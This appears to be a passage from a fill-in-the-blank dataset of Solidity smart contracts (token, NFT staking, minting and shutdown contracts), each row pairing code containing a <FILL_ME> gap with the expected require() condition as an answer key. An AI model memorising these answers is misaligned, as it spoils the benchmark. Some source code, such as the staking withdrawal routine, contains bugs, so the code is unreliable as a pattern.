// bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
mapping(address => mapping(address => uint256)) public expirations;
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _chainId)
public
ERC677BridgeToken(_name, _symbol, _decimals)
{
}
/// @dev transferFrom in this contract works in a slightly different form than the generic
/// transferFrom function. This contract allows for "unlimited approval".
/// Should the user approve an address for the maximum uint256 value,
/// then that address will have unlimited approval until told otherwise.
/// @param _sender The address of the sender.
/// @param _recipient The address of the recipient.
/// @param _amount The value to transfer.
/// @return Success status.
function transferFrom(address _sender, address _recipient, uint256 _amount) public returns (bool) {
require(_sender != address(0));
require(_recipient != address(0));
balances[_sender] = balances[_sender].sub(_amount);
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(_sender, _recipient, _amount);
if (_sender != msg.sender) {
uint256 allowedAmount = allowance(_sender, msg.sender);
if (allowedAmount != uint256(-1)) {
// If allowance is limited, adjust it.
// In this case `transferFrom` works like the generic
allowed[_sender][msg.sender] = allowedAmount.sub(_amount);
emit Approval(_sender, msg.sender, allowed[_sender][msg.sender]);
} else {
// If allowance is unlimited by `permit`, `approve`, or `increaseAllowance`
// function, don't adjust it. But the expiration date must be empty or in the future
require(<FILL_ME>)
}
} else {
// If `_sender` is `msg.sender`,
// the function works just like `transfer()`
}
callAfterTransfer(_sender, _recipient, _amount);
return true;
}
/// @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
/// @param _to The address which will spend the funds.
/// @param _value The amount of tokens to be spent.
function approve(address _to, uint256 _value) public returns (bool result) {
}
/// @dev Atomically increases the allowance granted to spender by the caller.
/// @param _to The address which will spend the funds.
/// @param _addedValue The amount of tokens to increase the allowance by.
function increaseAllowance(address _to, uint256 _addedValue) public returns (bool result) {
}
/// @dev An alias for `transfer` function.
/// @param _to The address of the recipient.
/// @param _amount The value to transfer.
function push(address _to, uint256 _amount) public {
}
/// @dev Makes a request to transfer the specified amount
/// from the specified address to the caller's address.
/// @param _from The address of the holder.
/// @param _amount The value to transfer.
function pull(address _from, uint256 _amount) public {
}
/// @dev An alias for `transferFrom` function.
/// @param _from The address of the sender.
/// @param _to The address of the recipient.
/// @param _amount The value to transfer.
function move(address _from, address _to, uint256 _amount) public {
}
/// @dev Allows to spend holder's unlimited amount by the specified spender.
/// The function can be called by anyone, but requires having allowance parameters
/// signed by the holder according to EIP712.
/// @param _holder The holder's address.
/// @param _spender The spender's address.
/// @param _nonce The nonce taken from `nonces(_holder)` public getter.
/// @param _expiry The allowance expiration date (unix timestamp in UTC).
/// Can be zero for no expiration. Forced to zero if `_allowed` is `false`.
/// Note that timestamps are not precise, malicious miner/validator can manipulate them to some extend.
/// Assume that there can be a 900 seconds time delta between the desired timestamp and the actual expiration.
/// @param _allowed True to enable unlimited allowance for the spender by the holder. False to disable.
/// @param _v A final byte of signature (ECDSA component).
/// @param _r The first 32 bytes of signature (ECDSA component).
/// @param _s The second 32 bytes of signature (ECDSA component).
function permit(
address _holder,
address _spender,
uint256 _nonce,
uint256 _expiry,
bool _allowed,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
}
/** @dev Allows to spend holder's unlimited amount by the specified spender according to EIP2612.
* The function can be called by anyone, but requires having allowance parameters
* signed by the holder according to EIP712.
* @param _holder The holder's address.
* @param _spender The spender's address.
* @param _value Allowance value to set as a result of the call.
* @param _deadline The deadline timestamp to call the permit function. Must be a timestamp in the future.
* Note that timestamps are not precise, malicious miner/validator can manipulate them to some extend.
* Assume that there can be a 900 seconds time delta between the desired timestamp and the actual expiration.
* @param _v A final byte of signature (ECDSA component).
* @param _r The first 32 bytes of signature (ECDSA component).
* @param _s The second 32 bytes of signature (ECDSA component).
*/
function permit(
address _holder,
address _spender,
uint256 _value,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
}
/**
* @dev Sets a new allowance value for the given owner and spender addresses.
* Resets expiration timestamp in case of unlimited approval.
* @param _owner address tokens holder.
* @param _spender address of tokens spender.
* @param _amount amount of approved tokens.
*/
function _approveAndResetExpirations(address _owner, address _spender, uint256 _amount) internal {
}
/**
* @dev Internal function for issuing an allowance.
* @param _owner address of the tokens owner.
* @param _spender address of the approved tokens spender.
* @param _amount amount of the approved tokens.
*/
function _approve(address _owner, address _spender, uint256 _amount) internal {
}
/**
* @dev Calculates the message digest for encoded EIP712 typed struct.
* @param _typedStruct encoded payload.
*/
function _digest(bytes memory _typedStruct) internal view returns (bytes32) {
}
/**
* @dev Derives the signer address for the given message digest and ECDSA signature params.
* @param _digest signed message digest.
* @param _v a final byte of signature (ECDSA component).
* @param _r the first 32 bytes of the signature (ECDSA component).
* @param _s the second 32 bytes of the signature (ECDSA component).
*/
function _recover(bytes32 _digest, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) {
}
}
| expirations[_sender][msg.sender]==0||expirations[_sender][msg.sender]>=now | 499,411 | expirations[_sender][msg.sender]==0||expirations[_sender][msg.sender]>=now |
"You must be the owner of the token!" | pragma solidity ^0.8.4;
interface IExternalNft is IERC721 {
function burnFrom(address, uint[] calldata) external payable;
function resurrect(uint[] calldata, address[] calldata) external;
function walletOfOwner(address) external view returns (uint[] memory tokens);
}
interface IRewardToken is IERC20 {
function mint(address to, uint256 amount) external;
}
contract Flowers is ERC20, ERC20Burnable, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("GG Flowers", "FLWR$") {
}
function mint(address to_, uint256 amount_) public onlyRole(MINTER_ROLE) {
}
function withdrawFlowers(address to_) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function withdrawETH(address to_) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
contract FlowerStaking is Ownable, Flowers {
uint256 constant stakingTime = 180 seconds;
uint256 constant token = 10e18;
uint256 public stakingCost = 0;
uint256 public stakedTotal;
uint256 public stakingStartTime;
uint256 public rewardPerHour = (111 * token) / 24;
uint256 public passiveRewardPerHour = (22 * token) / 24;
uint256 public passiveRewardCap = (22 * 222) * token;
uint256[] public passiveClaimed = new uint256[](2222);
modifier onlySender {
}
// Goat Gauds NFT Contract Address
address contractAddr = 0x5CEbE5Cde01aB154fB46B7984D6354DA367bCBaF;
struct Staker {
uint256[] stakedTokens;
uint256 stakeCount;
}
struct Stake {
uint256 tokenId;
uint256 since;
uint256 cooldown;
}
struct PassiveStake {
uint256 claimed;
uint256 since;
}
mapping (uint256 => Stake) tokenIdToStake;
mapping(uint256 => PassiveStake) public passiveStakes;
/// @notice mapping of a staker to its wallet
mapping(address => Staker) public stakers;
/// @notice mapping from token ID to owner address
mapping(uint256 => address) public tokenOwner;
bool initialized;
/// @notice event emitted when a user has staked an nft
event Staked(address owner, uint256[] tokens);
/// @notice event emitted when a user has unstaked an nft
event Unstaked(address[] owners, uint256[] tokens);
/// @notice event emitted when a user claims rewards
event RewardPaid(address indexed user, uint256 reward);
function getIndex(uint element, uint[] memory arr) pure internal returns(uint index) {
}
function isInitialized() public view returns (bool init) {
}
// Owner functions
function setContractAddr(address contract_) public onlyOwner {
}
function setRewards(uint stakingReward_, uint passiveReward_) public onlyOwner {
}
function setStakingCost(uint stakingCost_) public onlyOwner {
}
function initStaking() public onlyOwner {
}
// Public Staking functions
function getStakedTokens(address user_) public view returns (uint256[] memory tokenIds) {
}
function stakeNFT(uint[] memory tokenIds_) public payable onlySender {
address _user = msg.sender;
require(initialized, "The staking has not started!");
require(msg.value == stakingCost, "Invalid ETH sent!");
Staker storage _staker = stakers[_user];
claimAllStakes(_user);
for (uint256 i = 0; i < tokenIds_.length; i++) {
require(<FILL_ME>)
PassiveStake storage _passiveStake = passiveStakes[tokenIds_[i]];
if (_passiveStake.since == 0) {_passiveStake.since = block.timestamp;}
Stake storage _stake = tokenIdToStake[tokenIds_[i]];
_stake.tokenId = tokenIds_[i];
_stake.since = block.timestamp;
_stake.cooldown = block.timestamp + stakingTime;
_staker.stakedTokens.push(tokenIds_[i]);
_staker.stakeCount++;
tokenOwner[tokenIds_[i]] = _user;
stakedTotal++;
}
IExternalNft(contractAddr).burnFrom(_user, tokenIds_);
emit Staked(_user, tokenIds_);
}
function withdrawAll(address user_) public onlySender {
}
function withdrawNFT(uint[] memory tokenIds_) public onlySender {
}
/// Passive Staking
function activateNft(uint[] memory tokenIds_) public onlySender {
}
function claimPassiveStake(uint tokenId_) public onlySender {
}
function claimAllPassiveStakes(address user_) public onlySender {
}
function getPassiveStake(uint tokenId_) public view returns (uint amount) {
}
function getPassiveStakes(address user_) public view returns (uint amount) {
}
// Token Staking
function getStake(uint tokenId_) public view returns (Stake memory stake) {
}
function claimStake(uint tokenId_) public onlySender {
}
function claimAllStakes(address user_) public onlySender {
}
function stakedSince(uint tokenId_) public view returns (uint _since) {
}
function stakeDuration(uint tokenId_) public view returns (uint _difference) {
}
function getPendingStakeRewards(uint tokenId_) public view returns (uint _pending) {
}
function getPendingUserRewards(address user_) public view returns (uint256 amount_) {
}
}
| IExternalNft(contractAddr).ownerOf(tokenIds_[i])==_user,"You must be the owner of the token!" | 499,413 | IExternalNft(contractAddr).ownerOf(tokenIds_[i])==_user |
"Cannot withdraw unowned NFT!" | pragma solidity ^0.8.4;
interface IExternalNft is IERC721 {
function burnFrom(address, uint[] calldata) external payable;
function resurrect(uint[] calldata, address[] calldata) external;
function walletOfOwner(address) external view returns (uint[] memory tokens);
}
interface IRewardToken is IERC20 {
function mint(address to, uint256 amount) external;
}
contract Flowers is ERC20, ERC20Burnable, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("GG Flowers", "FLWR$") {
}
function mint(address to_, uint256 amount_) public onlyRole(MINTER_ROLE) {
}
function withdrawFlowers(address to_) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function withdrawETH(address to_) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
contract FlowerStaking is Ownable, Flowers {
uint256 constant stakingTime = 180 seconds;
uint256 constant token = 10e18;
uint256 public stakingCost = 0;
uint256 public stakedTotal;
uint256 public stakingStartTime;
uint256 public rewardPerHour = (111 * token) / 24;
uint256 public passiveRewardPerHour = (22 * token) / 24;
uint256 public passiveRewardCap = (22 * 222) * token;
uint256[] public passiveClaimed = new uint256[](2222);
modifier onlySender {
}
// Goat Gauds NFT Contract Address
address contractAddr = 0x5CEbE5Cde01aB154fB46B7984D6354DA367bCBaF;
struct Staker {
uint256[] stakedTokens;
uint256 stakeCount;
}
struct Stake {
uint256 tokenId;
uint256 since;
uint256 cooldown;
}
struct PassiveStake {
uint256 claimed;
uint256 since;
}
mapping (uint256 => Stake) tokenIdToStake;
mapping(uint256 => PassiveStake) public passiveStakes;
/// @notice mapping of a staker to its wallet
mapping(address => Staker) public stakers;
/// @notice mapping from token ID to owner address
mapping(uint256 => address) public tokenOwner;
bool initialized;
/// @notice event emitted when a user has staked an nft
event Staked(address owner, uint256[] tokens);
/// @notice event emitted when a user has unstaked an nft
event Unstaked(address[] owners, uint256[] tokens);
/// @notice event emitted when a user claims rewards
event RewardPaid(address indexed user, uint256 reward);
function getIndex(uint element, uint[] memory arr) pure internal returns(uint index) {
}
function isInitialized() public view returns (bool init) {
}
// Owner functions
function setContractAddr(address contract_) public onlyOwner {
}
function setRewards(uint stakingReward_, uint passiveReward_) public onlyOwner {
}
function setStakingCost(uint stakingCost_) public onlyOwner {
}
function initStaking() public onlyOwner {
}
// Public Staking functions
function getStakedTokens(address user_) public view returns (uint256[] memory tokenIds) {
}
function stakeNFT(uint[] memory tokenIds_) public payable onlySender {
}
function withdrawAll(address user_) public onlySender {
}
function withdrawNFT(uint[] memory tokenIds_) public onlySender {
address _user = msg.sender;
for (uint256 i = 0; i < tokenIds_.length; i++) {
require(<FILL_ME>)
Stake memory _stake = tokenIdToStake[tokenIds_[i]];
require(
_stake.cooldown < block.timestamp,
"Cooldown: Must wait for cooldown period before withdrawing!"
);
claimStake(tokenIds_[i]);
Staker storage _staker = stakers[_user];
if (--_staker.stakeCount > 0) {
_staker.stakedTokens[getIndex(tokenIds_[i], _staker.stakedTokens)] = _staker.stakedTokens[_staker.stakedTokens.length - 1];
_staker.stakedTokens.pop();
delete _stake;
} else {
delete stakers[_user];
}
delete tokenOwner[tokenIds_[i]];
stakedTotal--;
PassiveStake storage _passiveStake = passiveStakes[tokenIds_[i]];
_passiveStake.claimed = (block.timestamp - _passiveStake.since) * passiveRewardPerHour / 1 hours;
}
address[] memory _userToArr;
for (uint i = 0; i < tokenIds_.length; i++) {
_userToArr[i] = _user;
}
IExternalNft(contractAddr).resurrect(tokenIds_, _userToArr);
emit Unstaked(_userToArr, tokenIds_);
}
/// Passive Staking
function activateNft(uint[] memory tokenIds_) public onlySender {
}
function claimPassiveStake(uint tokenId_) public onlySender {
}
function claimAllPassiveStakes(address user_) public onlySender {
}
function getPassiveStake(uint tokenId_) public view returns (uint amount) {
}
function getPassiveStakes(address user_) public view returns (uint amount) {
}
// Token Staking
function getStake(uint tokenId_) public view returns (Stake memory stake) {
}
function claimStake(uint tokenId_) public onlySender {
}
function claimAllStakes(address user_) public onlySender {
}
function stakedSince(uint tokenId_) public view returns (uint _since) {
}
function stakeDuration(uint tokenId_) public view returns (uint _difference) {
}
function getPendingStakeRewards(uint tokenId_) public view returns (uint _pending) {
}
function getPendingUserRewards(address user_) public view returns (uint256 amount_) {
}
}
| tokenOwner[tokenIds_[i]]==_user,"Cannot withdraw unowned NFT!" | 499,413 | tokenOwner[tokenIds_[i]]==_user |
"Cannot activate unowned tokens!" | pragma solidity ^0.8.4;
interface IExternalNft is IERC721 {
function burnFrom(address, uint[] calldata) external payable;
function resurrect(uint[] calldata, address[] calldata) external;
function walletOfOwner(address) external view returns (uint[] memory tokens);
}
interface IRewardToken is IERC20 {
function mint(address to, uint256 amount) external;
}
contract Flowers is ERC20, ERC20Burnable, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("GG Flowers", "FLWR$") {
}
function mint(address to_, uint256 amount_) public onlyRole(MINTER_ROLE) {
}
function withdrawFlowers(address to_) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function withdrawETH(address to_) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
contract FlowerStaking is Ownable, Flowers {
uint256 constant stakingTime = 180 seconds;
uint256 constant token = 10e18;
uint256 public stakingCost = 0;
uint256 public stakedTotal;
uint256 public stakingStartTime;
uint256 public rewardPerHour = (111 * token) / 24;
uint256 public passiveRewardPerHour = (22 * token) / 24;
uint256 public passiveRewardCap = (22 * 222) * token;
uint256[] public passiveClaimed = new uint256[](2222);
modifier onlySender {
}
// Goat Gauds NFT Contract Address
address contractAddr = 0x5CEbE5Cde01aB154fB46B7984D6354DA367bCBaF;
struct Staker {
uint256[] stakedTokens;
uint256 stakeCount;
}
struct Stake {
uint256 tokenId;
uint256 since;
uint256 cooldown;
}
struct PassiveStake {
uint256 claimed;
uint256 since;
}
mapping (uint256 => Stake) tokenIdToStake;
mapping(uint256 => PassiveStake) public passiveStakes;
/// @notice mapping of a staker to its wallet
mapping(address => Staker) public stakers;
/// @notice mapping from token ID to owner address
mapping(uint256 => address) public tokenOwner;
bool initialized;
/// @notice event emitted when a user has staked an nft
event Staked(address owner, uint256[] tokens);
/// @notice event emitted when a user has unstaked an nft
event Unstaked(address[] owners, uint256[] tokens);
/// @notice event emitted when a user claims rewards
event RewardPaid(address indexed user, uint256 reward);
function getIndex(uint element, uint[] memory arr) pure internal returns(uint index) {
}
function isInitialized() public view returns (bool init) {
}
// Owner functions
function setContractAddr(address contract_) public onlyOwner {
}
function setRewards(uint stakingReward_, uint passiveReward_) public onlyOwner {
}
function setStakingCost(uint stakingCost_) public onlyOwner {
}
function initStaking() public onlyOwner {
}
// Public Staking functions
function getStakedTokens(address user_) public view returns (uint256[] memory tokenIds) {
}
function stakeNFT(uint[] memory tokenIds_) public payable onlySender {
}
function withdrawAll(address user_) public onlySender {
}
function withdrawNFT(uint[] memory tokenIds_) public onlySender {
}
/// Passive Staking
function activateNft(uint[] memory tokenIds_) public onlySender {
for (uint i = 0; i < tokenIds_.length; i++) {
require(<FILL_ME>)
}
require(initialized, "Staking not yet started!");
for (uint i = 0; i < tokenIds_.length; i++) {
PassiveStake storage _stake = passiveStakes[tokenIds_[i]];
require(_stake.since == 0, "Passive earning already enabled!");
_stake.since = block.timestamp;
}
}
function claimPassiveStake(uint tokenId_) public onlySender {
}
function claimAllPassiveStakes(address user_) public onlySender {
}
function getPassiveStake(uint tokenId_) public view returns (uint amount) {
}
function getPassiveStakes(address user_) public view returns (uint amount) {
}
// Token Staking
function getStake(uint tokenId_) public view returns (Stake memory stake) {
}
function claimStake(uint tokenId_) public onlySender {
}
function claimAllStakes(address user_) public onlySender {
}
function stakedSince(uint tokenId_) public view returns (uint _since) {
}
function stakeDuration(uint tokenId_) public view returns (uint _difference) {
}
function getPendingStakeRewards(uint tokenId_) public view returns (uint _pending) {
}
function getPendingUserRewards(address user_) public view returns (uint256 amount_) {
}
}
| IExternalNft(contractAddr).ownerOf(tokenIds_[i])==msg.sender,"Cannot activate unowned tokens!" | 499,413 | IExternalNft(contractAddr).ownerOf(tokenIds_[i])==msg.sender |
"Max supply it's superated" | pragma solidity ^0.8.4;
/**
* @title IUbi
* Inteface is for calling POH methods.
*/
interface IUbi{
function isRegistered(address) external view returns (bool);
}
/**
* @title MokaNft
* This contract is a colletcion of NFTs for the project Minos Of Kazordoon.
* 21000 of NFT only for people registered in POH
*/
contract MokaNft is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
//Address POH Kovan contract '0x73bcce92806bce146102c44c4d9c3b9b9d745794'
//Address POH Mainet contract '0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb'
address private _ubi = 0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb;
//Blacklist Mapping
mapping(address => bool) private _blackList;
constructor() ERC721("Minos of Kazordoon", "MOKA") { }
function _baseURI() internal pure override returns (string memory) {
}
modifier maxSupply() {
require(<FILL_ME>)
_;
}
/** @dev Sets the address in blacklist.
* @param _to The address to add to the blacklist.
*/
function addBlacklist(address _to) private{
}
/** @dev Gets if the address has already called method safeMint.
* @param _to The address of the queried submission.
* @return The value of mapping _blacklist.
*/
function isBlacklist(address _to) public view returns (bool) {
}
/** @dev Gets if the address is registered in POH.
* @param _to The address of the queried submission.
* @return The result of POH method isRegistered, True or false.
*/
function isRegestry(address _to) public view returns (bool) {
}
function safeMint() public maxSupply {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
}
| _tokenIdCounter.current()<21000,"Max supply it's superated" | 499,538 | _tokenIdCounter.current()<21000 |
"Address already mint a NFT" | pragma solidity ^0.8.4;
/**
* @title IUbi
* Inteface is for calling POH methods.
*/
interface IUbi{
function isRegistered(address) external view returns (bool);
}
/**
* @title MokaNft
* This contract is a colletcion of NFTs for the project Minos Of Kazordoon.
* 21000 of NFT only for people registered in POH
*/
contract MokaNft is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
//Address POH Kovan contract '0x73bcce92806bce146102c44c4d9c3b9b9d745794'
//Address POH Mainet contract '0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb'
address private _ubi = 0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb;
//Blacklist Mapping
mapping(address => bool) private _blackList;
constructor() ERC721("Minos of Kazordoon", "MOKA") { }
function _baseURI() internal pure override returns (string memory) {
}
modifier maxSupply() {
}
/** @dev Sets the address in blacklist.
* @param _to The address to add to the blacklist.
*/
function addBlacklist(address _to) private{
}
/** @dev Gets if the address has already called method safeMint.
* @param _to The address of the queried submission.
* @return The value of mapping _blacklist.
*/
function isBlacklist(address _to) public view returns (bool) {
}
/** @dev Gets if the address is registered in POH.
* @param _to The address of the queried submission.
* @return The result of POH method isRegistered, True or false.
*/
function isRegestry(address _to) public view returns (bool) {
}
function safeMint() public maxSupply {
//Verify if the wallert has not already called safeMint
require(<FILL_ME>)
//Verify if the wallet has registered in POH
require(isRegestry(_msgSender()), "Address not registered in POH");
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(_msgSender(), tokenId);
addBlacklist(_msgSender());
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
}
| !_blackList[_msgSender()],"Address already mint a NFT" | 499,538 | !_blackList[_msgSender()] |
"Address not registered in POH" | pragma solidity ^0.8.4;
/**
* @title IUbi
* Inteface is for calling POH methods.
*/
interface IUbi{
function isRegistered(address) external view returns (bool);
}
/**
* @title MokaNft
* This contract is a colletcion of NFTs for the project Minos Of Kazordoon.
* 21000 of NFT only for people registered in POH
*/
contract MokaNft is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
//Address POH Kovan contract '0x73bcce92806bce146102c44c4d9c3b9b9d745794'
//Address POH Mainet contract '0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb'
address private _ubi = 0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb;
//Blacklist Mapping
mapping(address => bool) private _blackList;
constructor() ERC721("Minos of Kazordoon", "MOKA") { }
function _baseURI() internal pure override returns (string memory) {
}
modifier maxSupply() {
}
/** @dev Sets the address in blacklist.
* @param _to The address to add to the blacklist.
*/
function addBlacklist(address _to) private{
}
/** @dev Gets if the address has already called method safeMint.
* @param _to The address of the queried submission.
* @return The value of mapping _blacklist.
*/
function isBlacklist(address _to) public view returns (bool) {
}
/** @dev Gets if the address is registered in POH.
* @param _to The address of the queried submission.
* @return The result of POH method isRegistered, True or false.
*/
function isRegestry(address _to) public view returns (bool) {
}
function safeMint() public maxSupply {
//Verify if the wallert has not already called safeMint
require(!_blackList[_msgSender()], "Address already mint a NFT");
//Verify if the wallet has registered in POH
require(<FILL_ME>)
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(_msgSender(), tokenId);
addBlacklist(_msgSender());
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
}
| isRegestry(_msgSender()),"Address not registered in POH" | 499,538 | isRegestry(_msgSender()) |
'Max mint per wallet exceeded!' | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/extensions/ERC721AQueryable.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract TrollNFT is ERC721AQueryable, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => uint256) public mintCount;
mapping(address => bool) public freeMintClaimed;
uint256 public maxLimitPerWallet = 10;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public whitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) {
require(whitelistMintEnabled, 'The whitelist sale is not enabled!');
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!');
if(!freeMintClaimed[_msgSender()]){
if(_mintAmount>1){
require(msg.value >= cost * (_mintAmount-1), 'Insufficient funds!');
}
freeMintClaimed[_msgSender()]=true;
}else{
require(msg.value >= cost * _mintAmount, 'Insufficient funds!');
}
_safeMint(_msgSender(), _mintAmount);
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| mintCount[msg.sender]+_mintAmount<=maxLimitPerWallet,'Max mint per wallet exceeded!' | 499,957 | mintCount[msg.sender]+_mintAmount<=maxLimitPerWallet |
"ES1" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.7.6;
pragma abicoder v2;
// interface
import { IController } from "squeeth-monorepo/interfaces/IController.sol";
import { IERC20 } from "openzeppelin/token/ERC20/IERC20.sol";
import { IWETH9 } from "squeeth-monorepo/interfaces/IWETH9.sol";
import { IZenBullStrategy } from "./interface/IZenBullStrategy.sol";
// contract
import { UniFlash } from "./UniFlash.sol";
import { Ownable } from "openzeppelin/access/Ownable.sol";
//lib
import { StrategyMath } from "squeeth-monorepo/strategy/base/StrategyMath.sol";
/**
* Error codes
* ES1: Strategy has already been fully unwound with redeemShortShutdown()
*/
/**
* @notice ZenEmergencyShutdown contract
* @dev handle the emergency shutdown of the Bull strategy if the wPowerPerp and Crab contracts are shut down
* @author opyn team
*/
contract ZenEmergencyShutdown is UniFlash, Ownable {
using StrategyMath for uint256;
/// @dev 1e18
uint256 private constant ONE = 1e18;
/// @dev difference in decimals between WETH and USDC
uint256 internal constant WETH_DECIMALS_DIFF = 1e12;
/// @dev enum to differentiate between Uniswap swap callback function source
/// @dev enum to differentiate between Uniswap swap callback function source
enum FLASH_SOURCE { SHUTDOWN }
/// @dev redeemShortShutdown params structs
struct ShutdownParams {
uint256 shareToUnwind;
uint256 ethLimitPrice;
uint24 ethPoolFee;
}
/// @dev weth address
address private immutable weth;
/// @dev usdc address
address private immutable usdc;
/// @dev bull stratgey address
address public immutable bullStrategy;
/**
* @notice constructor
* @param _bull bull strategy address
* @param _factory uniswap v3 factory
*/
constructor(address _bull, address _factory) UniFlash(_factory) {
}
/**
* @notice redeem the Crab shares owned by Bull if WPowerPerp controller contract is shutdown and collapse leverage trade to hold ETH only
* @param _params Shutdown params struct
*/
function redeemShortShutdown(ShutdownParams calldata _params) external onlyOwner {
require(<FILL_ME>)
uint256 usdcToRepay = IZenBullStrategy(bullStrategy).calcUsdcToRepay(_params.shareToUnwind);
_exactOutFlashSwap(
weth,
usdc,
_params.ethPoolFee,
usdcToRepay,
usdcToRepay.mul(WETH_DECIMALS_DIFF).wdiv(_params.ethLimitPrice),
uint8(FLASH_SOURCE.SHUTDOWN),
abi.encodePacked(usdcToRepay, _params.shareToUnwind)
);
}
/**
* @notice uniswap flash swap callback function to handle different types of flashswaps
* @dev this function will be called by flashswap callback function uniswapV3SwapCallback()
* @param _uniFlashSwapData UniFlashswapCallbackData struct
*/
function _uniFlashSwap(UniFlashswapCallbackData memory _uniFlashSwapData) internal override {
}
}
| !IZenBullStrategy(bullStrategy).hasRedeemedInShutdown(),"ES1" | 500,479 | !IZenBullStrategy(bullStrategy).hasRedeemedInShutdown() |
"Roar: All tokens minted" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity 0.8.15;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/iczRoar.sol";
contract czRoar is iczRoar, ERC20, Ownable {
constructor() ERC20("ROAR", "ROAR") {}
/** PUBLIC VARS */
uint256 public override MAX_TOKENS = 22_000_000 ether;
uint256 public override tokensMinted;
uint256 public override tokensBurned;
bool public override canBeSold = false;
/** PRIVATE VARS */
// Store admins to allow them to call certain functions
mapping(address => bool) private _admins;
/** MODIFIERS */
modifier onlyAdmin() {
}
/** ONLY ADMIN FUNCTIONS */
function mint(address to, uint256 amount) external override onlyAdmin {
require(<FILL_ME>)
tokensMinted += amount;
_mint(to, amount);
}
function burn(address from, uint256 amount) external override onlyAdmin {
}
/** OVERRIDE */
function transferFrom(address sender, address recipient, uint256 amount) public virtual override(ERC20, IERC20) returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override(ERC20, IERC20) returns (bool) {
}
/** ONLY OWNER FUNCTIONS */
function setCanBeSold(bool sellable) external onlyOwner {
}
function addAdmin(address addr) external onlyOwner {
}
function removeAdmin(address addr) external onlyOwner {
}
}
| tokensMinted+amount<=MAX_TOKENS,"Roar: All tokens minted" | 500,664 | tokensMinted+amount<=MAX_TOKENS |
"Invalid merkle proof" | interface IERC721Burnable is IERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
